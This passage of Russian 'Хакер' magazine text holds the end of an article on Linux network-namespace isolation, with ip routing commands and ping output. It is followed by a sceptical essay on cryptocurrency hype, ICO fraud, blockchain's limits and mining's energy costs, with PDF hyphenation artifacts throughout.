$ sudo ip ‐n mynamespace address add 10.136.0.2/30 dev veth2
$ ping 10.136.0.2
PING 10.136.0.2 (10.136.0.2) 56(84) bytes of data.
64 bytes from 10.136.0.2: icmp_seq=1 ttl=64 time=0.057 ms

До бавим  адрес  интерфей су    и  ста тичес кий  мар шрут  к  его  сети
из основно го прос транс тва имен.

dum2

$ sudo ip ‐n mynamespace address add 10.134.0.1/24 dev dum2
$ sudo ip ro add 10.134.0.0/24 via 10.136.0.2
$ ping 10.134.0.1
PING 10.134.0.1 (10.134.0.1) 56(84) bytes of data.
64 bytes from 10.134.0.1: icmp_seq=1 ttl=64 time=0.036 ms

Пос коль ку  связь  меж ду  прос транс тва ми  имен  неот личима  от  физичес кого
соеди нения  или  тун неля,  с  их  помощью  мож но  тес тировать  сце нарии  нас‐ 
трой ки сети без соз дания отдель ных кон тей неров или вир туаль ных машин.

Су щес тву ет  нес коль ко  про ектов для интегра ции с  systemd,  поз воля ющих
упростить изо ляцию при ложе ний, нап ример  .systemd‐named‐netns

ИТОГО
Как видишь, ядро Linux пре дос тавля ет механиз мы изо ляции сетево го тра фика
на  все  слу чаи  жиз ни  —  от  минималь ной  до  пол ной.  Наде юсь,  эта  статья
поможет  тебе  выб рать  нуж ный  для  тво их  задач  и  эффектив но  им  вос поль‐ 
зовать ся.

mailto:daniil@baturin.org
https://www.lartc.org/howto/
http://policyrouting.org/PolicyRoutingBook/ONLINE/TOC.html
https://baturin.org/docs/iproute2/#Policy-based%20routing
https://stuffphilwrites.com/2014/09/iptables-processing-flowchart/
https://github.com/Jamesits/systemd-named-netns
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Крип товалю ты то вхо дят в моду, то кажут ся
пол ным  разоча рова нием.  Кто‐то  дела ет
на  них  мил лионы,  а  кто‐то  оста ется
без копей ки. В этой статье мы попыта емся
оста вить  в  сто роне  лич ные  пережи вания
и  попытать ся  понять,  мож но  ли  ждать
от крип ты какого‐то реаль ного про ка.

Кто сде лал день ги по‑быс тро му
Крип толихо рад ка 2017 года еще жива в наших вос помина ниях. Кто‐то бежал
ску пать виде окар ты, кто‐то из‐за цены на элек три чес тво про писал ся на даче
в  Иркут ске.  Кто‐то,  сле дуя  при меру  вол ка  с  Уолл‐стрит,  устра ивал 

 в сго воре с такими же вол ками и наг ревал вос торжен ных обы вате лей
на раз нице в кур сах.

памп
и дамп

Ну  а  самые  пред при имчи вые  соз давали  за  буг ром  свою  крип товалю ту
на «умных» кон трак тах и сос триг ли нем ного баб ла на ICO. Я слы шал об одном
при мере,  где  это  «нем ного»  сос тавля ло  $40  000  000.  А  что бы  не  прос лыть
мошен никами они нанима ли в СНГ дешевую рабочую силу, которая бы ими‐ 
тиро вала бур ную деятель ность и показы вала хоть что‐то работа ющее.

Как раз в таком сер висе успел порабо тать один мой зна комый по став ке
$30 в  час, 50‐60 часов в неделю. Прав да про рабо тал он  там все го пол тора
месяца.  Стар тап,  как  ты  догады ваешь ся,  ничего  реаль ного  делать
не собирал ся и все, кто был там на зар пла те, счи тай, игра ли роли в теат раль‐ 
ной пос танов ке.

Ос новате ли в ито ге сня ли все слив ки, а инте рес к стар тапу начал осты вать
вмес те  со  всем  крип торын ком.  В  этой  исто рии  хорошо  то,  что  осно вате ли
прос то  не  скры лись  пос ле  ICO  в  неиз вес тном  нап равле нии  со  все ми  день‐ 
гами, как было во мно гих дру гих слу чаях, а хотя бы зап латили прог раммис там
за их незавер шенную и бес полез ную работу.

— Вла димир Тимофе ев

КРИПТОШУМИХА И ВЗЛЕТ BITCOIN
На чалась вся эта исто рия не вче ра и не год назад. Раз говоры о крип товалю‐ 
тах ведут ся еще с девянос тых годов, а зна мени тая работа Bitcoin: A Peer‐to‐
Peer  Electronic  Cash  System  ( ),  под писан ная  псев донимом  Сатоси
Накамо то, выш ла в мае 2009 года.

PDF

Кто  такой  загадоч ный  Накамо то,  ник то  не  зна ет  до  сих  пор,  но  вре мя
от  вре мени  сооб щес тво  находит  оче ред ного  потен циаль ного  кан дидата:
от ни в чем не повин ного япон ско го пен сионе ра Дори ана Накамо то, которо‐ 
му потом еле уда лось отбить ся от прес сы, до гла вы нар кокар теля  ,
который, кста ти, заод но счи тает ся авто ром TrueCrypt. Так же под подоз рени‐ 
ем —  Ник  Сабо,  изоб ретатель  пред шес твен ника  Bitcoin  под  наз вани ем  Bit
Gold, и Крейг Райт, который, кажет ся, как раз очень хотел, что бы все думали,
что Накамо то — это он.

По ла Ле Ру

Ну  и,  конеч но,  пока  одни  меч тают,  что  крип товалю ты  сде лают  тра дици‐ 
онные  финан совые  сис темы  ненуж ными  и  изба вят  челове чес тво  от  гне та
государств, дру гие  , что Bitcoin — это наобо рот про ект аме рикан ских
спец служб и он лишь укре пит финан совые позиции США.

уве рены

Так  или  ина че,  c  2012  года  Bitcoin  начал  плав но,  но  уве рен но  рас ти
и к 2017 году доб рался отметки в $800. И тут слу чил ся пер вый стре митель ный
взлет — все го за год сто имость бит кой на дос тигла рекор дно го зна чения поч‐ 
ти в 20 тысяч дол ларов. Май нинг, уже счи тав ший ся нерен табель ным, вне зап‐ 
но  стал  сно ва  казать ся  выгод ным,  а  заод но  взле тели  дру гие  крип товалю ты.
Да что там взле тели — мно гие как раз тог да и появи лись.

INFO

«Хакер»  тоже  неод нократ но  писал  о  блок чей не,
крип товалю тах  и  май нин ге,  при ложив  руку
к  шумихе.  На  дан ный  момент  этой  теме  пос‐ 
вящено  уже  четыре  темы  номера:  «

»,  « »,  «
» и « ».

Как  кра дут
ICO Май нинг  крип товалют Крат кий  экскурс
в Ethereum Все о Bitcoin

Сей час,  в  2019  году  уже  не  так  важ но,  с  чего  всё  началось.  Куда  важ нее
понять, как отли чить мошен ников, которы ми кишит эта индус трия, от тех, кто
хотя бы пыта ется сде лать что‐то реаль ное. А еще луч ше было бы понять, дей‐ 
стви тель но ли блок чейн так полезен, как об этом говорят.

БЛОКЧЕЙН НЕ ДЛЯ ДЕНЕГ
Од ной из харак терных при мет крип товалют ного бума ста ли мно гочис ленные
попыт ки при менить тех нологию блок чей на не для денеж ных перево дов, а для
чего‐то дру гого. И прав да: кажет ся, что рас пре делен ная кни га уче та, записи
в  которой  нель зя  под делать,  может  иметь  при мене ние  в  самых  раз ных
областях. Имен но на этой идее и стро илась льви ная доля крип тостар тапов.

Иван  Ива ниц кий  из  ком пании  SmartDec  в  сво ей  замет ке  «
» ста вит

каж дую  из  этих  идей  под  сом нение.  Далее  я  по  воз можнос ти  резюми рую
семь  из  вось ми  перечис ленных  при меров,  а  к  вось мому  мы  вер немся  чуть
поз же.

Вам  не  нужен
блок чейн: восемь популяр ных при мене ний и почему они не работа ют

•  — исполь зование блок чей на для под твержде‐ 
ния того, что выпол няют ся, нап ример, усло вия тран спор тиров ки. Глав ная
проб лема,  которую  здесь  нуж но  решить  —  дос товер ность  дан ных,  пос‐ 
тупа ющих  с  дат чиков.  Обма нуть  их  очень  лег ко,  и  блок чейн  здесь  никак
не помога ет.

Уп равле ние пос тавка ми

•   Если  снаб жать  цен ные
товары  мет ками,  которые  мож но  про верить  через  блок чейн,  то  это  в
теории сде лает под делки невоз можны ми. В реаль нос ти,  украв ори гинал,
зло умыш ленник, засев ший в цепи пос тавки, может даль ше передать под‐ 
делку с копи ей мет ки.

Под твержде ние  под линнос ти  товаров.

•  Нап ример, нам нуж но под твер‐ 
дить, что дип лом дей стви тель но выдан уни вер ситетом. Здесь, в прин ципе,
дос таточ но  элек трон ной  под писи,  осно ван ной  на  асси мет ричной  крип‐ 
тогра фии.  Хотя  блок чейн  при  желании  мож но  исполь зовать  в  качес тве
наибо лее надеж ного спо соба под твер дить вре мя под писи.

Га ран тия под линнос ти утвер жде ния.

•  Сно ва похожая исто рия: во‐пер вых,  крип тогра фия с при‐ 
ват ным клю чом уже реша ет тех ничес кую проб лему, во‐вто рых, ее всё рав‐ 
но  недос таточ но.  Нуж но  под твер дить  под линность  самого  голосу юще го
и обес печить надеж ность соз дания и  хра нения  клю ча. Так же в нынеш них
реали заци ях  голосо вание  на  блок чей не  исклю читель но  откры тое,  а  это
не всег да желатель но.

Го лосо вание.

•  Соз датель художес твен ного про изве дения
может зак репить пра ва на свое тво рение при помощи блок чей на. Это дей‐ 
стви тель но  так,  но  есть  два  «но»:  во‐пер вых,  такая  сис тема дол жна быть
широко рас простра нена, во‐вто рых, шедевр в теории кто‐то может успеть
ско пиро вать и зарегис три ровать копию пер вым.

Под твержде ние авторс тва.

•   Казалось  бы,  хорошая  идея  хра нить  дан ные
о  собс твен ности  на  зем лю  в  рас пре делен ном  реес тре,  защищен ном
от  под делок. Но  тут момен таль но  воз ника ют  тре ния  с  государс твен ными
механиз мами.  Что  если  государс тво  решит  изъ ять  зем лю,  а  нынеш ний
вла делец не захочет или не смо жет сде лать запись о переда че? Если же
раз решить  вно сить  при нуди тель ные  изме нения,  то  плю сы  блок чей на
исчезнут, а минусы оста нут ся.

Зе мель ные  кадас тры.

•   Бан ки  мог ли  бы  рас счи тывать ся  друг
с  дру гом  через  блок чейн,  но  обыч но  такие  перево ды  не  при дают ся
огласке.  Единс твен ный  вари ант:  если  финан совые  инсти туты  будут
исполь зовать  свой  зак рытый  блок чейн.  Получит ся,  прав да,  что  раз ница
с  рас пре делен ной  базой  дан ных  толь ко  в  том,  что  учас тни ки  могут
не доверять друг дру гу. Но любые пре тен зии всё рав но при дет ся решать
через суд, так что от блок чей на опять мало поль зы.

Пе рево ды  меж ду  бан ками.

Я думаю, ты уже уло вил общие чер ты, которые объ еди няют боль шинс тво пун‐ 
ктов. Там, где блок чейн пересе кает ся с реаль ностью, неиз менно всплы вают
нес тыков ки  либо  с физичес кими  огра ниче ниями,  либо  с  сущес тву ющи ми  (и
гораз до более про думан ными с точ ки зре ния интегра ции) механиз мами. Все
это не зна чит,  что блок чейн бес полезен, но показы вает, нас коль ко в реаль‐ 
нос ти слож но получить ту уни вер саль ную поль зу, которую обе щают его апо‐ 
логе ты.

ГРЯЗНЫЕ ДЕНЬГИ
Глав ный  козырь  блок чей на  —  это  всё  же  денеж ные  перево ды,  и  здесь
перед  нами  дей стви тель но  есть  неос поримые  при меры  того,  что  эта  тех‐ 
нология  работа ет.  Bitcoin,  Litecoin,  Zcash  и  некото рые  аль ткой ны  успешно
исполь зуют ся для опла ты товаров и услуг.

К  сожале нию,  и  тут  не  всё  глад ко.  Сто ит  начать  вспо минать  при меры,
и ока зыва ется, что они по боль шей час ти кри миналь ные. Нар котики, под дель‐ 
ные докумен ты,  ворован ные кре дит ки,  , опла та вре дитель ской
деятель нос ти  раз ного  рода  —  от  спа ма,  нак рутки  и  DDoS  до  взло ма.
Как  вари ант  —  отмы вание  денег,  получен ных  в  ходе  дру гих  нелегаль ных
активнос тей, и опла та выкупов вла дель цам крип толоке ров. Если бы не было
Bitcoin, не было бы и вол ны вымога тель ско го ПО.

экс пло ит‐киты

Ни чего  уди витель ного  здесь,  конеч но,  нет.  Пол ностью  элек трон ная
валюта, перево ды в которой мож но ано ними зиро вать, неиз менно прив лека ет
тех, кто в этой ано ним ности нуж дает ся. Та же ситу ация, нап ример, со 

: там пря чут ся в основном те, у кого нет вари антов, кро‐ 
ме как пря тать ся.

«скры‐ 
тыми сер висами» Tor

Пи сатель‐фан таст Чар ли Стросс в сво ей замет ке «
»  сде лал  попыт ку  заг лянуть  в  самую  суть  этой  проб‐ 

лемы:

По чему я бы хотел, что‐ 
бы Bitcoin  горел  в  огне

Bitcoin  выг лядит  так,  буд то  его  соз давали  как  ору жие,  нацелен ное
на раз рушение цен тра лизо ван ной бан ков ской сис темы, с либер тари- 
анской  повес ткой  в  голове:  усложнить  сбор  налогов  и  отсле жива ние
финан совых тран закций граж дан. Все это хорошо, если ты либер тари- 
анец,  но  я  при дер жива юсь  мне ния,  что  либер тари анс тво  —  это
как ленинизм: пот ряса ющая и целос тная полити чес кая теория с неп- 
лохими аргу мен тами в осно ве, которая, к сожале нию, дает нере алис- 
тичные советы об управле нии общес твом. Они сра бота ют толь ко если
заменить гряз ных людишек на сфе ричес ких гумано идов рав номер ной
плот ности,  —  пос коль ку  теории  эти  осно выва ются  на  упро щен ных
утвер жде ниях о челове чес ком поведе нии, которые, увы, невер ны.

Стросс  при  этом  вов се  не  утвер жда ет,  что  нынеш ние  капита лис тичес кие
механиз мы  хороши,  прос то  счи тает,  что  крип товалю ты  и  сопутс тву ющая  им
иде оло гия еще  хуже.  «Это  как поменять  заусен цы на  ган гре ну», — резюми‐ 
рует он.

РАСХОД ЭЛЕКТРИЧЕСТВА
Есть  и  более  при зем ленные  пре тен зии  к  Bitcoin  и  схо жим  крип товалю там.
Одна из них — огромные зат раты элек тро энер гии, которая тра тит ся на май‐ 
нинг и рас ходу ется, по сути, впус тую.

Ав торы  , приш ли к выводу,
что  май нинг  одно го  толь ко  Bitcoin  тра тит  боль ше  элек тро энер гии,  чем
некото рые стра ны (нап ример, Авс трия или Чехия), а энер гии, которая ухо дит
на  одну  тран закцию,  хва тило  бы,  что бы  обес печить  сред ний  аме рикан ский
дом элек три чес твом в течение 20 дней.

от чета, опуб ликован ного на сай те Digiconomist

Гра фик энер гозат рат на май нинг в тераватт‐часах. Крас ная
линия — рас четное пот ребле ние, пун ктир — минималь ное

Бо лее  новые  крип товалю ты  пре вос ходят  Bitcoin  по  ско рос ти  про веде ния
тран закций и энер гоэф фектив ности. Одна ко в этом пла не, кажет ся, пред сто‐ 
ит еще боль шой прог ресс, преж де чем какими‐нибудь кой нами мож но будет
дей стви тель но заменить все бан ков ские тран закции.

Ситу ация в Рос сии
В  нашей  стра не  один  из  самых  дешевых  тарифов  на  элек три чес тво
для населе ния находит ся в Иркут ской области. Про изош ло это из‐за того, что
неког да еди ную энер госис тему РСФСР раз делили, и кас кад гид роэлек трос‐ 
танций,  находя щих ся  в Иркут ской  области,  не  вошел  в  уже  канув ший  в  лету
РАО ЕЭС.

Та кое  боль шое  количес тво  элек тро энер гии  тре бует ся  для  про изводс тва
не крип ты, как мно гие вдруг решили, а алю миния. В Сибири у UC Rusal рас‐ 
положе ны  Новокуз нецкий,  Саяно гор ский,  Хакас ский,  Крас нояр ский,  Иркут‐ 
ский  и  Брат ский  алю мини евые  заводы.  Если  бы  хозя ева  Русала  не  взя ли
под  кон троль  про изводс тво  элек тро энер гии  в  реги оне,  про изво дить  алю‐ 
миний ста ло бы эко номи чес ки невыгод но.

Вы год ные  тарифы  на  элек тро энер гию  вов сю  исполь зует  мес тный  малый
биз нес,  в  том  чис ле  и  май неры.  Для  срав нения  в  сосед нем  от  Иркут ской
области реги оне ‐ Бурятии, тариф для населе ния выше в четыре раза (рубль
про тив четырех).

— Вла димир Тимофе ев

ICO: КЛАДБИЩЕ ПРОЕКТОВ
Ког да мы говори ли о при мене ниях блок чей на не для денег, я нароч но отло‐ 
жил  на  потом  пос ледний,  вось мой  пункт  из  статьи  Ива ниц кого.  Пункт  этот
пос вящен ICO.

Ес ли ты упус тил всю шумиху вок руг этой кон цепции, то вкрат це она озна‐ 
чает  выпуск  токенов,  которые сами по  себе обыч но никак  не исполь зуют ся,
но слу жат под твержде нием того, что ты вло жил день ги в тот или иной про ект.
Токена ми мож но  тор говать,  и,  если  про ект  будет  рас ти  и  здравс тво вать,  то
они дол жны дорожать.

Эта  схе ма  очень  напоми нает  раз мещение  акций  на  бир жах.  С  той  раз‐ 
ницей,  что  ICO  не  опи рают ся  на  тра дици онные финан совые  инсти туты  и  не
регули руют ся  законо датель но.  Это  мно гое  упро щает,  но  и  проб лемы  тоже
быс тро ста ли оче вид ны.

На  сай те    («Блок чей новое  клад бище»)  соб рана  кол‐ 
лекция из 68 инци ден тов, свя зан ных с  ICO. Некото рые про вали лись вследс‐ 
твие  сбо ев,  но  боль шинс тво  —  из‐за  уяз вимос тей  в  механиз ме  выпус ка
токенов,  краж,  пос тыдной  уте ри  клю чей  от  облачно го  хра нили ща  и  мошен‐ 
ничес тва.  И,  конеч но,  зачас тую  нас тоящие  при чины  прос то  не  сооб щает ся.
«Прос тите, про ект зак рыт, ваши день ги похити ли злые хакеры, пока‐пока!»

Blockchain  Graveyard

INFO

О  том,  как  пал DAO —  один  из  круп ней ших  про‐ 
ектов  за  исто рию  крип товалют,  читай  в  статье
«

».

Рас пре делен ное  авто ном ное  ограбле ние.
Как хакер разорил глав ный крип товалют ный про‐ 
ект года

В общем, блок чейн  сам по  себе никак  не  защища ет  вклад чиков от  обма на,
да  и  успех  самого  мероп риятия,  в  которое  вкла дыва ют  день ги,  зачас тую
под  боль шим  воп росом.  Сде лать  выход  на  бир жу  дос тупным  каж‐ 
дому — блес тящая идея. Но точ но так же, как при нимать Bitcoin пер выми бро‐ 
сились  нар котор говцы  и  кар деры,  за  ICO  сра зу  же  ухва тились  мошен ники
и аван тюрис ты.

ЗДРАВОЕ ЗЕРНО
Итак, какой из все го это го мож но сде лать вывод? Не пой ми меня неп равиль‐ 
но:  я  вов се  не  счи таю,  что  блок чейн  обре чен  на  про вал,  а  крип товалю ты
никог да  не  заменят  обыч ные  день ги.  Даже  ICO  при  более  про думан ном
исполне нии могут при нес ти мас су поль зы.

Прос то  новей шим  тех нологи ям  свой ствен но  зах ватывать  умы  гораз до
рань ше,  чем  на  их  осно ве  мож но  будет  сде лать  что‐то  при мени мое  в  пов‐ 
седнев ной жиз ни. А в слу чае с крип товалю тами и ICO спе цифи ка такова, что
в полусы рую тех нологию вдруг ока залось воз можно сра зу же инвести ровать
день ги,  при чем  в  час тном  поряд ке.  Слу хи  о  быс тром  обо гаще нии  сра зу  же
вывели исте рию на какие‐то зап редель ные уров ни, а афе рис ты обле пили эту
тему так плот но, что доб рое и веч ное начис то перес тало прог лядывать ся.

В замет ке « » («Пузырь блок чей на
лоп нет, что при дет на сме ну?») Захари Лип тон дает, пожалуй, наибо лее взве‐ 
шен ную оцен ку ситу ации:

The Blockchain Bubble will Pop, What Next?

Точ но так же, как было с бир жевым кра хом 1929 года и кра хом дот- 
комов  в  1999  году,  я  полагаю,  будет  и  с  крип товалю тами.  Рано
или  поз дно  пузырь  лоп нет.  Но  крах  дот комов  сми рил  инвесто ров
и сни зил оцен ки сто имос ти ком паний. А потом на мес те пузыря воз- 
ник  гораз до  более  здра вый  кли мат,  в  котором  проц вета ет
интернет‑биз нес.  Сегод ня  7  из  10  круп ней ших  ком паний
в мире — тех нологи чес кие. Так что рынок тог да вов се не пере оце нил
интернет,  он  пере оце нил  толь ко  тог дашний  уро жай  пред при нима- 
телей.  По‑преж нему  оста ется  откры тым  воп рос  о  том,  каким  будет
эффект от тех нологий, осно ван ных на блок чей не, пос ле того, как цирк
уедет.

И дей стви тель но: нес мотря на казалось бы пол ное разоча рова ние, в которое
крип товалют ный рынок заг нал себя в 2018 году, не прош ло и года, и мы сно ва
обсужда ем  про екты  вро де  TON  и  Libra.  Даже  курс  Bitcoin  пос тепен но  вер‐ 
нулся к уров ню кон ца 2017 года. Так что будут еще новые взле ты и — можешь
не сом невать ся — новые падения.
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